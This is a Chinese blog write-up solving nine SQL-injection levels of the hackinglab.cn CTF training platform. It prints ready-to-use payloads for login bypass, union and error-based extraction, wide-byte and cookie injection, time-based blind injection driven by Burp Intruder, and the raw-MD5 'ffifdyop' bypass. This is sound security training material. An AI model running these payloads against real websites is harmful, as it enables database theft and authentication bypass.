AI智能
改变未来

CTF-网络信息安全攻防学习平台(注入关)

注入关

  • 第一关
  • 第二关
  • 第三关
  • 第四关
  • 第五关
  • 第六关
  • 第七关
  • 第八关
  • 第九关

题库地址:http://hackinglab.cn

第一关

题目:
最简单的SQL注入
分值: 100
Tips题目里有简单提示

Writeup:
像看到SQL注入题,还是登陆框,就可以先试试万能密码

账号:

admin\' or \'1\'=\'1

密码随意,输入正确的验证码

第二关

题目:
最简单的SQL注入(熟悉注入环境)
分值: 100
最简单的SQL注入

Writeup:
查看源代码,可以看到提示

payload:

#单引号测试可以看到报错?id=1%27#查询字段数,字段数为3?id=1 order by 3--+#显位?id=1 union select 1,2,3--+#查看当前数据库的表?id=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+#查看sae_user_sqli3表中的字段?id=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=\'sae_user_sqli3\'--+#查看flag?id=1 union select 1,group_concat(content),3 from sae_user_sqli3--+

第三关

题目:
防注入
分值: 300
小明终于知道,原来黑客如此的吊,还有sql注入这种高端技术,因此他开始学习防注入!

Writeup:
宽字节注入,其实题目给了点提示,新手开始学防注入,大多就是先学转义

payload:

#利用%df%27测试是否有注入,发现报错?id=2%df%27#查询字段数,字段数为3?id=2%df%27 order by 3--+#显位?id=2%df%27 union select 1,2,3--+#查看当前数据库的所有表?id=2%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+#查看sae_user_sqli4表中的字段,因为是宽字节注入,不能使用单引号,所以将表名sae_user_sqli4转换成了16进制?id=2%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7361655F757365725F73716C6934--+

小葵字符转换工具

#查看flag?id=2%df%27 union select 1,group_concat(content_1),3 from sae_user_sqli4--+

第四关

题目:
到底能不能回显
分值: 350
小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢?

Writeup:
题目给了提示是limit注入,利用到的payload是不一样的

#查看表index.php?start=1&num=1 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)#查看字段index.php?start=1&num=1%20procedure%20analyse%20(extractvalue(rand(),concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x75736572))),1)#查看flagindex.php?start=1&num=1%20procedure%20analyse%20(extractvalue(rand(),concat(0x3a,(select%20group_concat(password)%20from%20user))),1)

第五关

题目:
邂逅
分值: 350
小明今天出门看见了一个漂亮的帅哥和漂亮的美女,于是他写到了他的日记本里。

Writeup:
虽然页面源代码给了id=1的提示,但是注入点却不在id
直接用burp抓包,发送到Repeater,可以看到有个jpg的地址

复制链接到请求包中,更改请求地址,在.jpg后面加上%df%27,可以看到报错信息

payload:

#查看字段数:/images/dg1.jpg%df%27 order by 4--+#显位/images/dg1.jpg%df%27 union select 1,2,3,4--+#查询当前数据库的表/images/dg1.jpg%df%27 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()--+#显示pic表中的字段/images/dg1.jpg%df%27 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x706963--+#查看flag,发现是flag的图片地址/images/dg1.jpg%df%27 union select 1,2,group_concat(picname),4 from pic--+


直接去访问图片地址,即可看见flag

至于为什么要在jpg后注入,我也不太懂,这题我也是做了很久没做出,去他了其他大佬的Writeup,很多也都是过程,并没有讲解为何jpg能注入,个人感觉有点类似伪静态注入,如果其他大佬有更高的见解,欢迎评论区留言。

第六关

题目:
ErrorBased
分值: 150
本题目为手工注入学习题目,主要用于练习基于Mysql报错的手工注入。Sqlmap一定能跑出来,所以不必测试了。flag中不带key和#
该题目需要在题目平台登录

Writeup:
题目给得很清楚,报错注入。

payload:

#查看数据库index.php?username=admin%27+and+updatexml(1,(concat(0x7c,(select database()))),1)--+#查看flagindex.php?username=admin\'+and+updatexml(1,(concat(0x7c,(select group_concat(motto) from motto where id=100000))),1)--+

第七关

题目:
盲注
分值: 200
今天我们来学习一下盲注.小明的女朋友现在已经成了女黑阔,而小明还在每个月拿几k的收入,怎么养活女黑阔…so:不要偷懒哦!

Writeup:
时间注入
题目提示不要偷懒,就不用sqlmap跑了,利用burp配合注入,这样也能学习到sql注入语句利用的利用方法
payload:

#出现时间延迟,说明存在时间注入/blind.php?username=admin%27 and sleep(10)--+#判断有多少张表,可以发现是5张表/blind.php?username=admin%27 and if(length(database())=5,sleep(3),1)--+#查看当前表的数量,数量为3/blind.php?username=admin%27 and if((select count(*) from information_schema.tables where table_schema=database())=3,sleep(3),1)--+#查看所有表的字节长度/blind.php?username=admin%27 and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1,sleep(3),1)--+

接下来就不能进行手工去测试了,需要用到burp辅助
利用刚刚的爆破语句,进行抓包,发送到intruder模块
1.选择Cluster bomb爆破方式
2.选择标记limit后面的第一个参数
limit用法:
limit 参数,第一个参数:从哪儿开始查 ; 第二个参数:查几条
3.标记长度

设置爆破规则:
1.payload1是表的个数,因为前面我们爆出有3张表,所以设置为0-2

2.payload2是长度爆破,设置长度0-20

点击右上角start attack开始爆破
点击上方的菜单栏,选择columns,勾选Response received(收到的响应)

点击Response received,查看长度最长的返回值

可以看出:
第一张表3个字符
第二张表5个字符
第三张表4个字符

#查表名/blind.php?username=admin%27 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1,sleep(3),1)--+

SQL MID() 语法

SELECT MID(column_name,start[,length]) FROM table_name
参数 描述
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

ASCII()函数也就是返回ascii值。

继续抓包,爆破,这里要标记的跑破值是:
limit §0§,1),§1§,1))=§1§

设置爆破规则:
1.设置和上一步一样,要爆破3张表

2.设置字符长度,因为最长也就5个字符,那直接设置1-5

3.第三个payload为ascii值,设置1-127

点击右上角start attack开始爆破

我们看选返回是6000值的包,然后进行排序
第一张表:
108 111 103
第二张表:
109 111 116 116 111
第三章表:
117 115 101 114

写个payload字段转换ascii值:

Decode=input(\"输入ascii,以空格分开:\")Decode = Decode.split()result=0for i in Decode:result = chr(int(i))print(result,end=\"\")

转换成功后,我们得到三张表名:
log
motto
user

#查看motto字段数:/blind.php?username=admin%27 and if((select count(*) from information_schema.columns where table_name=\'motto\')=3,sleep(3),1)--+#查看字段的字节长度:/blind.php?username=admin%27 and if((select length(column_name) from information_schema.columns where table_name=\'motto\' limit 0,1)=1,sleep(3),1)--+

爆破步骤和前面爆破表名的字节长度一样,不详细挂图了,直接上结果图

第一个字段长度:2
第二个字段长度:8
第三个字段长度:5

#查看字段名:/blind.php?username=admin%27 and if(ascii(mid((select column_name from information_schema.columns where table_name=\'motto\' limit 0,1),1,1))=1,sleep(3),1)--+

字段:
id username motto

#查看motto表中的motto字段有多少条记录,共4条/blind.php?username=admin%27 and if((select count(motto) from motto)=4,sleep(3),1)--+#因为上一题flag在第四条记录中,所以这次看一下第四条的长度,抓包爆破,长度为14/blind.php?username=admin%27 and if((select length(motto) from motto limit 3,1)=14,sleep(3),1)--+#爆破flag值/blind.php?username=admin%27 and if(ascii(mid((select motto from motto limit 3,1),1,1))=3,sleep(3),1)--+

设置和之前一样,爆破是标记这两个参数

爆破结果:(这次爆破并没有爆破到11位的ascii值,而且8位的ascii码出现了两个,可能是网络原因的问题导致的,所以我进行了两次爆破)


爆破结果:107 101 121 35 110 111 116 102 111 117 110 100 33 35
ascii解码:

key#notfound!#


提交时不带key以及#

第八关

题目:
SQL注入通用防护
分值: 250
小明写了一个博客系统,为了防注入,他上网找了一个SQL注入通用防护模块,GET/POST都过滤了哦!

Writeup:
题目给了提示GET/POST注入不行,试了cookie注入是行得通的
使用burp抓包,将url中的id=1移动到cookie中,发现额能够正常请求,相当于用理request请求方式。(注意平台的cookie是不能删除的,因为需要cookie登陆才能做题,id前面需要加入一个分号)

;id=1 and 1=2--+

#查询到有3个字段;id=1 order by 3--+#查看当前数据库的表;id=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

#剩下步骤都以前一样,直接贴最后一个payload(查询flag);id=1 union select 1,group_concat(username),group_concat(password) from sae_manager_sqli8--+

第九关

题目:
据说哈希后的密码是不能产生注入的
分值: 400
代码审计与验证:

Writeup:
查看源代码,看到php代码提示:

<?phpinclude \"config.php\";if(isset($_GET[\'userid\']) && isset($_GET[\'pwd\'])){$strsql=\"select * from `user` where userid=\".intval($_GET[\'userid\']).\" and password=\'\".md5($_GET[\'pwd\'], true) .\"\'\";$conn=mysql_connect($dbhost,$username,$pwd);mysql_select_db($db,$conn);mysql_query(\"SET NAMES \'UTF-8\'\");$result=mysql_query($strsql);print_r(mysql_error());$row=mysql_fetch_array($result);mysql_close($conn);echo \"<pre>\";print_r($row);echo \"</pre>\";if($row!=null){echo \"Flag: \".$flag;}}else{echo \"PLEASE LOGINT!\";}echo \"<noscript>\";echo file_get_contents(__FILE__);

intval() 函数用于获取变量的整数值。userid就不能进行注入了。
题目给了提示,MD5加密后的sql注入

语法

md5(string,raw)
参数 描述
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式:

  • TRUE – 原始 16 字符二进制格式
  • FALSE – 默认32 字符十六进制数

phpstudy进行本地测试:

<?php$str=$_GET[\'str\'];echo \"string:\".$str;echo \"</br>\";echo \"md5_16:\".md5($str,true);echo \"</br>\";echo \"md5_32:\".md5($str,false);?>


可以看到,我们传输的ffifdyop字符串经过MD5加密后16 字符二进制格式会被转换成’or’6É]™é!r,ùíb

这样一来,sql语句就会变成

select * from `user` where userid=\"\" and password=\'\'or\'6É]™é!r,ùíb\'

接下来我们去自己的数据库里试着执行这条语句试试。

先创建好数据表:

#创建数据库create database test;#创建字段create table user(userid int(255),password varchar(255));#添加数据INSERT INTO user VALUES (\"99818213\",\"9b11dd0bfdda0f1b791ef34551d89e74\");#查看表内容select * from user;

执行语句:

数据库运行逻辑:

AND 和 OR 运算符

AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。
如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。
如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。

首先,按照逻辑运算的优先级,先会执行and
因为我们不知道账号密码,所以运算完and逻辑后,sql语句会变成:

select * from `user` where false or\'6É]™é!r,ùíb\'

接下来进行OR运算,因为OR运算只要一边条件为真,只要or的另一边不等于空,即为真

靶场实践获取flag:

?userid=&pwd=ffifdyop


相关精华文章推荐:
sql注入:md5($password,true)

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » CTF-网络信息安全攻防学习平台(注入关)